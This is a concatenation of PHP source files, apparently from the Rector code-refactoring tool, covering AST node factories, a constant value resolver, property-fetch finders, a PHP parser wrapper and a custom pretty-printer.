$this->builderFactory->classConstFetch($className, $constantName); } /** * @param array $newNodes */ public function createReturnBooleanAnd(array $newNodes) : ?Expr { if ($newNodes === []) { return null; } if (\count($newNodes) === 1) { return $newNodes[0]; } return $this->createBooleanAndFromNodes($newNodes); } /** * Setting all child nodes to null is needed to avoid reprint of invalid tokens * @see https://github.com/rectorphp/rector/issues/8712 * * @template TNode as Node * * @param TNode $node * @return TNode */ public function createReprintedNode(Node $node) : Node { // reset original node, to allow the printer to re-use the node $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); $this->simpleCallableNodeTraverser->traverseNodesWithCallable($node, static function (Node $subNode) : Node { $subNode->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $subNode; }); return $node; } /** * @param string|int|null $key * @param mixed $item */ private function createArrayItem($item, $key = null) : ArrayItem { $arrayItem = null; if ($item instanceof Variable || $item instanceof MethodCall || $item instanceof StaticCall || $item instanceof FuncCall || $item instanceof Concat || $item instanceof Scalar || $item instanceof Cast || $item instanceof ConstFetch) { $arrayItem = new ArrayItem($item); } elseif ($item instanceof Identifier) { $string = new String_($item->toString()); $arrayItem = new ArrayItem($string); } elseif (\is_scalar($item) || $item instanceof Array_) { $itemValue = BuilderHelpers::normalizeValue($item); $arrayItem = new ArrayItem($itemValue); } elseif (\is_array($item)) { $arrayItem = new ArrayItem($this->createArray($item)); } elseif ($item === null || $item instanceof ClassConstFetch) { $itemValue = BuilderHelpers::normalizeValue($item); $arrayItem = new ArrayItem($itemValue); } elseif ($item instanceof Arg) { $arrayItem = new ArrayItem($item->value); } if ($arrayItem instanceof ArrayItem) { $this->decorateArrayItemWithKey($key, $arrayItem); return $arrayItem; } $nodeClass = \is_object($item) ? \get_class($item) : $item; throw new NotImplementedYetException(\sprintf('Not implemented yet. Go to "%s()" and add check for "%s" node.', __METHOD__, (string) $nodeClass)); } /** * @param int|string|null $key */ private function decorateArrayItemWithKey($key, ArrayItem $arrayItem) : void { if ($key === null) { return; } $arrayItem->key = BuilderHelpers::normalizeValue($key); } /** * @param Expr\BinaryOp[] $binaryOps */ private function createBooleanAndFromNodes(array $binaryOps) : BooleanAnd { /** @var NotIdentical|BooleanAnd $mainBooleanAnd */ $mainBooleanAnd = \array_shift($binaryOps); foreach ($binaryOps as $binaryOp) { $mainBooleanAnd = new BooleanAnd($mainBooleanAnd, $binaryOp); } /** @var BooleanAnd $mainBooleanAnd */ return $mainBooleanAnd; } /** * @param string|ObjectReference::* $className * @return \PhpParser\Node\Name|\PhpParser\Node\Name\FullyQualified */ private function createName(string $className) { if (\in_array($className, [ObjectReference::PARENT, ObjectReference::SELF, ObjectReference::STATIC], \true)) { return new Name($className); } return new FullyQualified($className); } /** * @param \PhpParser\Node\Expr|string $exprOrVariableName * @return \PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\Variable|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticPropertyFetch|\PhpParser\Node\Expr */ private function createMethodCaller($exprOrVariableName) { if (\is_string($exprOrVariableName)) { return new Variable($exprOrVariableName); } if ($exprOrVariableName instanceof PropertyFetch) { return new PropertyFetch($exprOrVariableName->var, $exprOrVariableName->name); } if ($exprOrVariableName instanceof StaticPropertyFetch) { return new StaticPropertyFetch($exprOrVariableName->class, $exprOrVariableName->name); } if ($exprOrVariableName instanceof MethodCall) { return new MethodCall($exprOrVariableName->var, $exprOrVariableName->name, $exprOrVariableName->args); } return $exprOrVariableName; } } getType() */ final class ValueResolver { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; /** * @readonly * @var \Rector\NodeTypeResolver\NodeTypeResolver */ private $nodeTypeResolver; /** * @readonly * @var \Rector\NodeAnalyzer\ConstFetchAnalyzer */ private $constFetchAnalyzer; /** * @readonly * @var \PHPStan\Reflection\ReflectionProvider */ private $reflectionProvider; /** * @readonly * @var \Rector\Reflection\ReflectionResolver */ private $reflectionResolver; /** * @readonly * @var \Rector\Reflection\ClassReflectionAnalyzer */ private $classReflectionAnalyzer; /** * @var \PhpParser\ConstExprEvaluator|null */ private $constExprEvaluator; public function __construct(NodeNameResolver $nodeNameResolver, NodeTypeResolver $nodeTypeResolver, ConstFetchAnalyzer $constFetchAnalyzer, ReflectionProvider $reflectionProvider, ReflectionResolver $reflectionResolver, ClassReflectionAnalyzer $classReflectionAnalyzer) { $this->nodeNameResolver = $nodeNameResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->constFetchAnalyzer = $constFetchAnalyzer; $this->reflectionProvider = $reflectionProvider; $this->reflectionResolver = $reflectionResolver; $this->classReflectionAnalyzer = $classReflectionAnalyzer; } /** * @param mixed $value */ public function isValue(Expr $expr, $value) : bool { return $this->getValue($expr) === $value; } /** * @param \PhpParser\Node\Arg|\PhpParser\Node\Expr $expr * @return mixed */ public function getValue($expr, bool $resolvedClassReference = \false) { if ($expr instanceof Arg) { $expr = $expr->value; } if ($expr instanceof Concat) { return $this->processConcat($expr, $resolvedClassReference); } if ($expr instanceof ClassConstFetch && $resolvedClassReference) { $class = $this->nodeNameResolver->getName($expr->class); if (\in_array($class, [ObjectReference::SELF, ObjectReference::STATIC], \true)) { $classReflection = $this->reflectionResolver->resolveClassReflection($expr); if ($classReflection instanceof ClassReflection) { return $classReflection->getName(); } } if ($this->nodeNameResolver->isName($expr->name, 'class')) { return $class; } } $value = $this->resolveExprValueForConst($expr); if ($value !== null) { return $value; } if ($expr instanceof ConstFetch) { return $this->nodeNameResolver->getName($expr); } $nodeStaticType = $this->nodeTypeResolver->getType($expr); if ($nodeStaticType instanceof ConstantType) { return $this->resolveConstantType($nodeStaticType); } return null; } /** * @api symfony * @param mixed[] $expectedValues */ public function isValues(Expr $expr, array $expectedValues) : bool { foreach ($expectedValues as $expectedValue) { if ($this->isValue($expr, $expectedValue)) { return \true; } } return \false; } public function isFalse(Expr $expr) : bool { return $this->constFetchAnalyzer->isFalse($expr); } public function isTrueOrFalse(Expr $expr) : bool { return $this->constFetchAnalyzer->isTrueOrFalse($expr); } public function isTrue(Expr $expr) : bool { return $this->constFetchAnalyzer->isTrue($expr); } public function isNull(Expr $expr) : bool { return $this->constFetchAnalyzer->isNull($expr); } /** * @param Expr[]|null[] $nodes * @param mixed[] $expectedValues */ public function areValuesEqual(array $nodes, array $expectedValues) : bool { foreach ($nodes as $i => $node) { if (!$node instanceof Expr) { return \false; } if (!$this->isValue($node, $expectedValues[$i])) { return \false; } } return \true; } /** * @return mixed */ private function resolveExprValueForConst(Expr $expr) { try { $constExprEvaluator = $this->getConstExprEvaluator(); return $constExprEvaluator->evaluateDirectly($expr); } catch (ConstExprEvaluationException|TypeError $exception) { } return null; } private function processConcat(Concat $concat, bool $resolvedClassReference) : string { return $this->getValue($concat->left, $resolvedClassReference) . $this->getValue($concat->right, $resolvedClassReference); } private function getConstExprEvaluator() : ConstExprEvaluator { if ($this->constExprEvaluator instanceof ConstExprEvaluator) { return $this->constExprEvaluator; } $this->constExprEvaluator = new ConstExprEvaluator(function (Expr $expr) { // resolve "SomeClass::SOME_CONST" if ($expr instanceof ClassConstFetch && $expr->class instanceof Name) { return $this->resolveClassConstFetch($expr); } throw new ConstExprEvaluationException(\sprintf('Expression of type "%s" cannot be evaluated', $expr->getType())); }); return $this->constExprEvaluator; } /** * @return mixed[]|null */ private function extractConstantArrayTypeValue(ConstantArrayType $constantArrayType) : ?array { $keys = []; foreach ($constantArrayType->getKeyTypes() as $i => $keyType) { /** @var ConstantScalarType $keyType */ $keys[$i] = $keyType->getValue(); } $values = []; foreach ($constantArrayType->getValueTypes() as $i => $valueType) { if ($valueType instanceof ConstantArrayType) { $value = $this->extractConstantArrayTypeValue($valueType); } elseif ($valueType instanceof ConstantScalarType) { $value = $valueType->getValue(); } elseif ($valueType instanceof TypeWithClassName) { continue; } else { return null; } $values[$keys[$i]] = $value; } return $values; } /** * @return string|mixed */ private function resolveClassConstFetch(ClassConstFetch $classConstFetch) { $class = $this->nodeNameResolver->getName($classConstFetch->class); $constant = $this->nodeNameResolver->getName($classConstFetch->name); if ($class === null) { throw new ShouldNotHappenException(); } if ($constant === null) { throw new ShouldNotHappenException(); } if (\in_array($class, [ObjectReference::SELF, ObjectReference::STATIC, ObjectReference::PARENT], \true)) { $class = $this->resolveClassFromSelfStaticParent($classConstFetch, $class); } if ($constant === 'class') { return $class; } $classConstantReference = $class . '::' . $constant; if (\defined($classConstantReference)) { return \constant($classConstantReference); } if (!$this->reflectionProvider->hasClass($class)) { // fallback to constant reference itself, to avoid fatal error return $classConstantReference; } $classReflection = $this->reflectionProvider->getClass($class); if (!$classReflection->hasConstant($constant)) { // fallback to constant reference itself, to avoid fatal error return $classConstantReference; } if ($classReflection->isEnum()) { // fallback to constant reference itself, to avoid fatal error return $classConstantReference; } $classConstantReflection = $classReflection->getConstant($constant); $valueExpr = $classConstantReflection->getValueExpr(); if ($valueExpr instanceof ConstFetch) { return $this->resolveExprValueForConst($valueExpr); } return $this->getValue($valueExpr); } private function resolveClassFromSelfStaticParent(ClassConstFetch $classConstFetch, string $class) : string { // Scope may be loaded too late, so return empty string early // it will be resolved on next traverse $scope = $classConstFetch->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return ''; } $classReflection = $this->reflectionResolver->resolveClassReflection($classConstFetch); if (!$classReflection instanceof ClassReflection) { throw new ShouldNotHappenException('Complete class parent node for to class const fetch, so "self" or "static" references is resolvable to a class name'); } if ($class !== ObjectReference::PARENT) { return $classReflection->getName(); } if (!$classReflection->isClass()) { throw new ShouldNotHappenException('Complete class parent node for to class const fetch, so "parent" references is resolvable to lookup parent class'); } // ensure parent class name still resolved even not autoloaded $parentClassName = $this->classReflectionAnalyzer->resolveParentClassName($classReflection); if ($parentClassName === null) { throw new ShouldNotHappenException(); } return $parentClassName; } /** * @return mixed */ private function resolveConstantType(ConstantType $constantType) { if ($constantType instanceof ConstantArrayType) { return $this->extractConstantArrayTypeValue($constantType); } if ($constantType instanceof ConstantScalarType) { return $constantType->getValue(); } return null; } } betterNodeFinder = $betterNodeFinder; $this->nodeTypeResolver = $nodeTypeResolver; $this->nodeNameResolver = $nodeNameResolver; } /** * @return MethodCall[]|StaticCall[] */ public function match(Class_ $class, ClassMethod $classMethod) : array { $className = $this->nodeNameResolver->getName($class); if (!\is_string($className)) { return []; } $classMethodName = $this->nodeNameResolver->getName($classMethod); /** @var MethodCall[]|StaticCall[] $matchingMethodCalls */ $matchingMethodCalls = $this->betterNodeFinder->find($class->getMethods(), function (Node $subNode) use($className, $classMethodName) : bool { if (!$subNode instanceof MethodCall && !$subNode instanceof StaticCall) { return \false; } if (!$this->nodeNameResolver->isName($subNode->name, $classMethodName)) { return \false; } $callerType = $subNode instanceof MethodCall ? $this->nodeTypeResolver->getType($subNode->var) : $this->nodeTypeResolver->getType($subNode->class); if (!$callerType instanceof TypeWithClassName) { return \false; } return $callerType->getClassName() === $className; }); return $matchingMethodCalls; } } betterNodeFinder = $betterNodeFinder; $this->nodeNameResolver = $nodeNameResolver; $this->reflectionResolver = $reflectionResolver; $this->astResolver = $astResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } /** * @return array * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $propertyOrPromotedParam */ public function findPrivatePropertyFetches(Class_ $class, $propertyOrPromotedParam, Scope $scope) : array { $propertyName = $this->resolvePropertyName($propertyOrPromotedParam); if ($propertyName === null) { return []; } $classReflection = $this->reflectionResolver->resolveClassAndAnonymousClass($class); $nodes = [$class]; $nodesTrait = $this->astResolver->parseClassReflectionTraits($classReflection); $hasTrait = $nodesTrait !== []; $nodes = \array_merge($nodes, $nodesTrait); return $this->findPropertyFetchesInClassLike($class, $nodes, $propertyName, $hasTrait, $scope); } /** * @return PropertyFetch[]|StaticPropertyFetch[]|NullsafePropertyFetch[] */ public function findLocalPropertyFetchesByName(Class_ $class, string $paramName) : array { /** @var PropertyFetch[]|StaticPropertyFetch[]|NullsafePropertyFetch[] $foundPropertyFetches */ $foundPropertyFetches = $this->betterNodeFinder->find($class->getMethods(), function (Node $subNode) use($paramName) : bool { if ($subNode instanceof PropertyFetch) { return $this->propertyFetchAnalyzer->isLocalPropertyFetchName($subNode, $paramName); } if ($subNode instanceof NullsafePropertyFetch) { return $this->propertyFetchAnalyzer->isLocalPropertyFetchName($subNode, $paramName); } if ($subNode instanceof StaticPropertyFetch) { return $this->propertyFetchAnalyzer->isLocalPropertyFetchName($subNode, $paramName); } return \false; }); return $foundPropertyFetches; } /** * @return ArrayDimFetch[] */ public function findLocalPropertyArrayDimFetchesAssignsByName(Class_ $class, Property $property) : array { $propertyName = $this->nodeNameResolver->getName($property); /** @var ArrayDimFetch[] $propertyArrayDimFetches */ $propertyArrayDimFetches = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($class->getMethods(), function (Node $subNode) use(&$propertyArrayDimFetches, $propertyName) { if (!$subNode instanceof Assign) { return null; } if (!$subNode->var instanceof ArrayDimFetch) { return null; } $dimFetchVar = $subNode->var; if (!$dimFetchVar->var instanceof PropertyFetch && !$dimFetchVar->var instanceof StaticPropertyFetch) { return null; } if (!$this->propertyFetchAnalyzer->isLocalPropertyFetchName($dimFetchVar->var, $propertyName)) { return null; } $propertyArrayDimFetches[] = $dimFetchVar; return null; }); return $propertyArrayDimFetches; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Trait_ $class */ public function isLocalPropertyFetchByName(Expr $expr, $class, string $propertyName) : bool { if (!$expr instanceof PropertyFetch) { return \false; } if (!$this->nodeNameResolver->isName($expr->name, $propertyName)) { return \false; } if ($this->nodeNameResolver->isName($expr->var, 'this')) { return \true; } $type = $this->nodeTypeResolver->getType($expr->var); if ($type instanceof ObjectType || $type instanceof StaticType) { return $this->nodeNameResolver->isName($class, $type->getClassName()); } return \false; } /** * @param Stmt[] $stmts * @return PropertyFetch[]|StaticPropertyFetch[] * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Trait_ $class */ private function findPropertyFetchesInClassLike($class, array $stmts, string $propertyName, bool $hasTrait, Scope $scope) : array { /** @var PropertyFetch[]|StaticPropertyFetch[] $propertyFetches */ $propertyFetches = $this->betterNodeFinder->find($stmts, function (Node $subNode) use($class, $hasTrait, $propertyName, $scope) : bool { if ($subNode instanceof MethodCall || $subNode instanceof StaticCall || $subNode instanceof FuncCall) { $this->decoratePropertyFetch($subNode, $scope); return \false; } if ($subNode instanceof PropertyFetch) { if ($this->isInAnonymous($subNode, $class, $hasTrait)) { return \false; } return $this->isNamePropertyNameEquals($subNode, $propertyName, $class); } if ($subNode instanceof StaticPropertyFetch) { return $this->nodeNameResolver->isName($subNode->name, $propertyName); } return \false; }); return $propertyFetches; } private function decoratePropertyFetch(Node $node, Scope $scope) : void { if (!$node instanceof MethodCall && !$node instanceof StaticCall && !$node instanceof FuncCall) { return; } if ($node->isFirstClassCallable()) { return; } foreach ($node->getArgs() as $key => $arg) { if (!$arg->value instanceof PropertyFetch && !$arg->value instanceof StaticPropertyFetch) { continue; } if (!$this->isFoundByRefParam($node, $key, $scope)) { continue; } $arg->value->setAttribute(AttributeKey::IS_USED_AS_ARG_BY_REF_VALUE, \true); } } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $node */ private function isFoundByRefParam($node, int $key, Scope $scope) : bool { $functionLikeReflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($node); if ($functionLikeReflection === null) { return \false; } $parametersAcceptor = ParametersAcceptorSelectorVariantsWrapper::select($functionLikeReflection, $node, $scope); $parameters = $parametersAcceptor->getParameters(); if (!isset($parameters[$key])) { return \false; } return $parameters[$key]->passedByReference()->yes(); } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Trait_ $class */ private function isInAnonymous(PropertyFetch $propertyFetch, $class, bool $hasTrait) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($propertyFetch); if (!$classReflection instanceof ClassReflection || !$classReflection->isClass()) { return \false; } if ($classReflection->getName() === $this->nodeNameResolver->getName($class)) { return \false; } return !$hasTrait; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Trait_ $class */ private function isNamePropertyNameEquals(PropertyFetch $propertyFetch, string $propertyName, $class) : bool { // early check if property fetch name is not equals with property name // so next check is check var name and var type only if (!$this->isLocalPropertyFetchByName($propertyFetch, $class, $propertyName)) { return \false; } $propertyFetchVarType = $this->nodeTypeResolver->getType($propertyFetch->var); if (!$propertyFetchVarType instanceof TypeWithClassName) { return \false; } $propertyFetchVarTypeClassName = $propertyFetchVarType->getClassName(); $classLikeName = $this->nodeNameResolver->getName($class); return $propertyFetchVarTypeClassName === $classLikeName; } /** * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $propertyOrPromotedParam */ private function resolvePropertyName($propertyOrPromotedParam) : ?string { if ($propertyOrPromotedParam instanceof Property) { return $this->nodeNameResolver->getName($propertyOrPromotedParam->props[0]); } return $this->nodeNameResolver->getName($propertyOrPromotedParam->var); } } splitMessageAndArgs($sprintfFuncCall); if (!$sprintfStringAndArgs instanceof SprintfStringAndArgs) { return null; } $arrayItems = $sprintfStringAndArgs->getArrayItems(); $stringValue = $sprintfStringAndArgs->getStringValue(); $messageParts = $this->splitBySpace($stringValue); $arrayMessageParts = []; foreach ($messageParts as $messagePart) { if (StringUtils::isMatch($messagePart, self::PERCENT_TEXT_REGEX)) { /** @var Expr $messagePartNode */ $messagePartNode = \array_shift($arrayItems); } else { $messagePartNode = new String_($messagePart); } $arrayMessageParts[] = new ArrayItem($messagePartNode); } return new Array_($arrayMessageParts); } /** * @return Expression[] */ public function transformArrayToYields(Array_ $array) : array { $yields = []; foreach ($array->items as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } $yield = new Yield_($arrayItem->value, $arrayItem->key); $expression = new Expression($yield); $arrayItemComments = $arrayItem->getComments(); if ($arrayItemComments !== []) { $expression->setAttribute(AttributeKey::COMMENTS, $arrayItemComments); } $yields[] = $expression; } return $yields; } /** * @api symfony */ public function transformConcatToStringArray(Concat $concat) : Array_ { $arrayItems = $this->transformConcatToItems($concat); $expr = BuilderHelpers::normalizeValue($arrayItems); if (!$expr instanceof Array_) { throw new ShouldNotHappenException(); } return $expr; } private function splitMessageAndArgs(FuncCall $sprintfFuncCall) : ?SprintfStringAndArgs { $stringArgument = null; $arrayItems = []; foreach ($sprintfFuncCall->args as $i => $arg) { if (!$arg instanceof Arg) { continue; } if ($i === 0) { $stringArgument = $arg->value; } else { $arrayItems[] = $arg->value; } } if (!$stringArgument instanceof String_) { return null; } if ($arrayItems === []) { return null; } return new SprintfStringAndArgs($stringArgument, $arrayItems); } /** * @return string[] */ private function splitBySpace(string $value) : array { $value = \str_getcsv($value, ' '); return \array_filter($value); } /** * @return mixed[] */ private function transformConcatToItems(Concat $concat) : array { $arrayItems = $this->transformConcatItemToArrayItems($concat->left); return \array_merge($arrayItems, $this->transformConcatItemToArrayItems($concat->right)); } /** * @return mixed[]|Expr[]|String_[] */ private function transformConcatItemToArrayItems(Expr $expr) : array { if ($expr instanceof Concat) { return $this->transformConcatToItems($expr); } if (!$expr instanceof String_) { return [$expr]; } $arrayItems = []; $parts = $this->splitBySpace($expr->value); foreach ($parts as $part) { if (\trim($part) !== '') { $arrayItems[] = new String_($part); } } return $arrayItems; } } ,RectorInterface[]> */ private $visitorsPerNodeClass = []; /** * @param RectorInterface[] $rectors */ public function __construct(array $rectors, PhpVersionedFilter $phpVersionedFilter) { $this->rectors = $rectors; $this->phpVersionedFilter = $phpVersionedFilter; parent::__construct(); } /** * @param Stmt[] $nodes * @return Stmt[] */ public function traverse(array $nodes) : array { $this->prepareNodeVisitors(); return parent::traverse($nodes); } /** * @param RectorInterface[] $rectors * @api used in tests to update the active rules */ public function refreshPhpRectors(array $rectors) : void { $this->rectors = $rectors; $this->visitors = []; $this->visitorsPerNodeClass = []; $this->areNodeVisitorsPrepared = \false; } /** * We return the list of visitors (rector rules) that can be applied to each node class * This list is cached so that we don't need to continually check if a rule can be applied to a node * * @return NodeVisitor[] */ public function getVisitorsForNode(Node $node) : array { $nodeClass = \get_class($node); if (!isset($this->visitorsPerNodeClass[$nodeClass])) { $this->visitorsPerNodeClass[$nodeClass] = []; foreach ($this->visitors as $visitor) { \assert($visitor instanceof RectorInterface); foreach ($visitor->getNodeTypes() as $nodeType) { if (\is_a($nodeClass, $nodeType, \true)) { $this->visitorsPerNodeClass[$nodeClass][] = $visitor; continue 2; } } } } return $this->visitorsPerNodeClass[$nodeClass]; } /** * This must happen after $this->configuration is set after ProcessCommand::execute() is run, * otherwise we get default false positives. * * This hack should be removed after https://github.com/rectorphp/rector/issues/5584 is resolved */ private function prepareNodeVisitors() : void { if ($this->areNodeVisitorsPrepared) { return; } // filer out by version $this->visitors = $this->phpVersionedFilter->filter($this->rectors); $this->areNodeVisitorsPrepared = \true; } } \\$.*)\'#U'; /** * @var string * @see https://regex101.com/r/1lzQZv/1 */ private const BACKREFERENCE_NO_QUOTE_REGEX = '#(?\\\\\\d+)(?!")#'; /** * @var string * @see https://regex101.com/r/nSO3Eq/1 */ private const BACKREFERENCE_NO_DOUBLE_QUOTE_START_REGEX = '#(?\\$\\d+)#'; public function __construct(BetterStandardPrinter $betterStandardPrinter, \Rector\PhpParser\Parser\SimplePhpParser $simplePhpParser, ValueResolver $valueResolver) { $this->betterStandardPrinter = $betterStandardPrinter; $this->simplePhpParser = $simplePhpParser; $this->valueResolver = $valueResolver; } /** * @api downgrade * * @return Stmt[] */ public function parseFile(string $fileName) : array { $fileContent = FileSystem::read($fileName); return $this->parseCode($fileContent); } /** * @return Stmt[] */ public function parseString(string $fileContent) : array { return $this->parseCode($fileContent); } public function stringify(Expr $expr) : string { if ($expr instanceof String_) { if (!StringUtils::isMatch($expr->value, self::BACKREFERENCE_NO_QUOTE_REGEX)) { return Strings::replace($expr->value, self::BACKREFERENCE_NO_DOUBLE_QUOTE_START_REGEX, static function (array $match) : string { return '"' . $match['backreference'] . '"'; }); } return Strings::replace($expr->value, self::BACKREFERENCE_NO_QUOTE_REGEX, static function (array $match) : string { return '"\\' . $match['backreference'] . '"'; }); } if ($expr instanceof Encapsed) { return $this->resolveEncapsedValue($expr); } if ($expr instanceof Concat) { return $this->resolveConcatValue($expr); } return $this->betterStandardPrinter->print($expr); } /** * @return Stmt[] */ private function parseCode(string $code) : array { // wrap code so php-parser can interpret it $code = StringUtils::isMatch($code, self::OPEN_PHP_TAG_REGEX) ? $code : 'simplePhpParser->parseString($code); } private function resolveEncapsedValue(Encapsed $encapsed) : string { $value = ''; $isRequirePrint = \false; foreach ($encapsed->parts as $part) { $partValue = (string) $this->valueResolver->getValue($part); if (\substr_compare($partValue, "'", -\strlen("'")) === 0) { $isRequirePrint = \true; break; } $value .= $partValue; } $printedExpr = $isRequirePrint ? $this->betterStandardPrinter->print($encapsed) : $value; // remove " $printedExpr = \trim($printedExpr, '""'); // use \$ → $ $printedExpr = Strings::replace($printedExpr, self::PRESLASHED_DOLLAR_REGEX, '$'); // use \'{$...}\' → $... return Strings::replace($printedExpr, self::CURLY_BRACKET_WRAPPER_REGEX, '$1'); } private function resolveConcatValue(Concat $concat) : string { if ($concat->left instanceof Concat && $concat->right instanceof String_ && \strncmp($concat->right->value, '$', \strlen('$')) === 0) { $concat->right->value = '.' . $concat->right->value; } if ($concat->right instanceof String_ && \strncmp($concat->right->value, '($', \strlen('($')) === 0) { $concat->right->value .= '.'; } $string = $this->stringify($concat->left) . $this->stringify($concat->right); return Strings::replace($string, self::VARIABLE_IN_SINGLE_QUOTED_REGEX, static function (array $match) { return $match['variable']; }); } } message = $parserErrorsException->getMessage(); $this->line = $parserErrorsException->getAttributes()['startLine'] ?? $parserErrorsException->getLine(); } public function getMessage() : string { return $this->message; } public function getLine() : int { return $this->line; } } lexer = $lexer; $this->parser = $parser; } /** * @api used by rector-symfony * * @return Stmt[] */ public function parseFile(string $filePath) : array { return $this->parser->parseFile($filePath); } /** * @return Stmt[] */ public function parseString(string $fileContent) : array { return $this->parser->parseString($fileContent); } public function parseFileContentToStmtsAndTokens(string $fileContent) : StmtsAndTokens { $stmts = $this->parser->parseString($fileContent); $tokens = $this->lexer->getTokens(); return new StmtsAndTokens($stmts, $tokens); } } phpParser = $parserFactory->create(ParserFactory::ONLY_PHP7); $this->nodeTraverser = new NodeTraverser(); $this->nodeTraverser->addVisitor(new AssignedToNodeVisitor()); } /** * @api tests * @return Node[] */ public function parseFile(string $filePath) : array { $fileContent = FileSystem::read($filePath); return $this->parseString($fileContent); } /** * @return Node[] */ public function parseString(string $fileContent) : array { $fileContent = $this->ensureFileContentsHasOpeningTag($fileContent); $hasAddedSemicolon = \false; try { $nodes = $this->phpParser->parse($fileContent); } catch (Throwable $exception) { // try adding missing closing semicolon ; $fileContent .= ';'; $hasAddedSemicolon = \true; $nodes = $this->phpParser->parse($fileContent); } if ($nodes === null) { return []; } $nodes = $this->restoreExpressionPreWrap($nodes, $hasAddedSemicolon); return $this->nodeTraverser->traverse($nodes); } private function ensureFileContentsHasOpeningTag(string $fileContent) : string { if (\strncmp(\trim($fileContent), 'expr]; } } $insertionMap */ final class BetterStandardPrinter extends Standard { /** * @var string * @see https://regex101.com/r/DrsMY4/1 */ private const QUOTED_SLASH_REGEX = "#'|\\\\(?=[\\\\']|\$)#"; /** * Remove extra spaces before new Nop_ nodes * @see https://regex101.com/r/iSvroO/1 * @var string */ private const EXTRA_SPACE_BEFORE_NOP_REGEX = '#^[ \\t]+$#m'; /** * @see https://regex101.com/r/qZiqGo/13 * @var string */ private const REPLACE_COLON_WITH_SPACE_REGEX = '#(^.*function .*\\(.*\\)) : #'; public function __construct() { parent::__construct(['shortArraySyntax' => \true]); // print return type double colon right after the bracket "function(): string" $this->initializeInsertionMap(); $this->insertionMap['Stmt_ClassMethod->returnType'] = [')', \false, ': ', null]; $this->insertionMap['Stmt_Function->returnType'] = [')', \false, ': ', null]; $this->insertionMap['Expr_Closure->returnType'] = [')', \false, ': ', null]; $this->insertionMap['Expr_ArrowFunction->returnType'] = [')', \false, ': ', null]; } /** * @param Node[] $stmts * @param Node[] $origStmts * @param mixed[] $origTokens */ public function printFormatPreserving(array $stmts, array $origStmts, array $origTokens) : string { $newStmts = $this->resolveNewStmts($stmts); $content = parent::printFormatPreserving($newStmts, $origStmts, $origTokens); // add new line in case of added stmts if (\count($newStmts) !== \count($origStmts) && \substr_compare($content, "\n", -\strlen("\n")) !== 0) { $content .= $this->nl; } return $content; } /** * @param Node|Node[]|null $node */ public function print($node) : string { if ($node === null) { $node = []; } if (!\is_array($node)) { $node = [$node]; } return $this->prettyPrint($node); } /** * @param Node[] $stmts */ public function prettyPrintFile(array $stmts) : string { // to keep indexes from 0 $stmts = \array_values($stmts); return parent::prettyPrintFile($stmts) . \PHP_EOL; } /** * @api magic method in parent */ public function pFileWithoutNamespace(FileWithoutNamespace $fileWithoutNamespace) : string { $content = $this->pStmts($fileWithoutNamespace->stmts, \false); return \ltrim($content); } protected function p(Node $node, $parentFormatPreserved = \false) : string { while ($node instanceof AlwaysRememberedExpr) { $node = $node->getExpr(); } $content = parent::p($node, $parentFormatPreserved); return $node->getAttribute(AttributeKey::WRAPPED_IN_PARENTHESES) === \true ? '(' . $content . ')' : $content; } protected function pAttributeGroup(AttributeGroup $attributeGroup) : string { $ret = parent::pAttributeGroup($attributeGroup); $comment = $attributeGroup->getAttribute(AttributeKey::ATTRIBUTE_COMMENT); if (!\in_array($comment, ['', null], \true)) { $ret .= ' // ' . $comment; } return $ret; } protected function pExpr_ArrowFunction(ArrowFunction $arrowFunction) : string { if (!$arrowFunction->hasAttribute(AttributeKey::COMMENT_CLOSURE_RETURN_MIRRORED)) { return parent::pExpr_ArrowFunction($arrowFunction); } $expr = $arrowFunction->expr; /** @var Comment[] $comments */ $comments = $expr->getAttribute(AttributeKey::COMMENTS) ?? []; if ($comments === []) { return parent::pExpr_ArrowFunction($arrowFunction); } $indent = $this->resolveIndentSpaces(); $text = "\n" . $indent; foreach ($comments as $key => $comment) { $commentText = $key > 0 ? $indent . $comment->getText() : $comment->getText(); $text .= $commentText . "\n"; } return $this->pAttrGroups($arrowFunction->attrGroups, \true) . ($arrowFunction->static ? 'static ' : '') . 'fn' . ($arrowFunction->byRef ? '&' : '') . '(' . $this->pCommaSeparated($arrowFunction->params) . ')' . ($arrowFunction->returnType instanceof Node ? ': ' . $this->p($arrowFunction->returnType) : '') . ' =>' . $text . $indent . $this->p($arrowFunction->expr); } /** * This allows to use both spaces and tabs vs. original space-only */ protected function setIndentLevel(int $level) : void { $level = \max($level, 0); $this->indentLevel = $level; $this->nl = "\n" . \str_repeat($this->getIndentCharacter(), $level); } /** * This allows to use both spaces and tabs vs. original space-only */ protected function indent() : void { $indentSize = SimpleParameterProvider::provideIntParameter(Option::INDENT_SIZE); $this->indentLevel += $indentSize; $this->nl .= \str_repeat($this->getIndentCharacter(), $indentSize); } /** * This allows to use both spaces and tabs vs. original space-only */ protected function outdent() : void { if ($this->getIndentCharacter() === ' ') { $indentSize = SimpleParameterProvider::provideIntParameter(Option::INDENT_SIZE); \assert($this->indentLevel >= $indentSize); $this->indentLevel -= $indentSize; } else { // - 1 tab \assert($this->indentLevel >= 1); --$this->indentLevel; } $this->nl = "\n" . \str_repeat($this->getIndentCharacter(), $this->indentLevel); } /** * @param mixed[] $nodes * @param mixed[] $origNodes * @param int|null $fixup */ protected function pArray(array $nodes, array 